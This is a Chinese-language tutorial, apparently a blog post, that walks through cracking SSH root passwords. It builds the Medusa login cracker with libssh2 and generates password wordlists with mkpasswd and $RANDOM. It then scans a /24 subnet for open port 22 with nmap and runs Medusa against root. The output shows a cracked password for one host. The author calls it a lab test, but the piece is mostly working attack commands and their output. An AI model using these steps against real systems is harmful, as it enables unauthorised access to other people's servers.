#准备工作：（下载下面软件）
1 wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
2 wget http://www.libssh2.org/download/libssh2-1.2.6.tar.gz
3 字典库的问题（此处用mkpasswd举例）
#正文：
首先安装libssh2-1.2.6.tar.gz
tar -zxvf libssh2-1.2.6.tar.gz -C /usr/src/
cd /usr/src/libssh2-1.2.6/
./configure ; make ; make install
接着安装medusa-2.0.tar.gz
tar -zxvf medusa-2.0.tar.gz -C /usr/src/
cd /usr/src/medusa-2.0/
./configure --prefix=$HOME/medusa-2.0 --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes
make ; make install
#字典库 （此处是针对密码特别复杂的情况讨论的，我这里做实验用不到这么复杂。）
[root@www ~]# cat mkpasswd.sh
#!/bin/bash
touch /windows/mkpasswd.txt --此处表示在/windows目录下创建mkpasswd.txt文件
for i in `seq 1 10000`; --此处表示循环产生10000个密码
do
mkpasswd -l 8 >>/windows/mkpasswd.txt --此处表示生成密码重定向到mkpasswd.txt
done
下面来简单介绍一下常用的参数含义：（man mkpasswd）
[root@www ~]# mkpasswd
oO@0thWi8
[root@www ~]# mkpasswd -l 8
d63tL(aT
[root@www ~]# mkpasswd -l 8 -d 3

[root@www ~]# mkpasswd -l 8 -c 2
STm[zj30
[root@www ~]# mkpasswd -l 8 -s 2
Nus8}\6E
[root@www ~]# mkpasswd -l 8 -s 2 -c 2 -C 2
e&{HN26d
usage: mkpasswd [args] [user]
where arguments are:

下面开始分析我们需要的主机IP
[root@www ~]# nmap -sV -p22 -oG ssh 172.16.2.0/24
扫描172.16.2.0/24整个段开了22端口的机器，并且判断服务版本，保存到ssh文件中。
需要用到nmap工具，nmap用到的几个参数概析：
usage:nmap
-sV 服务版本
-p22 表示22号端口
-oG 表示将输出结果保存到
[root@www ~]# cat ssh

下面我自己手动创建一个密码字典（你可以自己去网上找更加好的字典。）以脚本的方式运行
vim mkpasswd.sh
#!/bin/bash
#
#测试字典
#
touch passwd.txt
echo $RANDOM >>passwd.txt --$RANDOM 产生随机数重定向到passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo 123456 >>passwd.txt --此处是我自己的真实密码，实验环境*0*。
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
echo $RANDOM >>passwd.txt
chmod +x mkpasswd.sh
./mkpasswd.sh
会自动生成我的测试字典 passwd.txt
[root@www ~]# vim passwd.txt
[root@www ~]# vim mkpasswd.sh
[root@www ~]# chmod +x mkpasswd.sh
[root@www ~]# ./mkpasswd.sh
[root@www ~]# cat passwd.txt

&&下面开始最重要的环节，密码破解：
[root@www ~]# medusa -H ssh1.txt -u root -P passwd.txt -M ssh

ACCOUNT FOUND: [ssh] Host: 172.16.2.170 User: root Password: 123456 [SUCCESS] --此处表示破解成功
当然这个过程是很慢的... 跟你的机器，网络，字典条目等等都有关系。
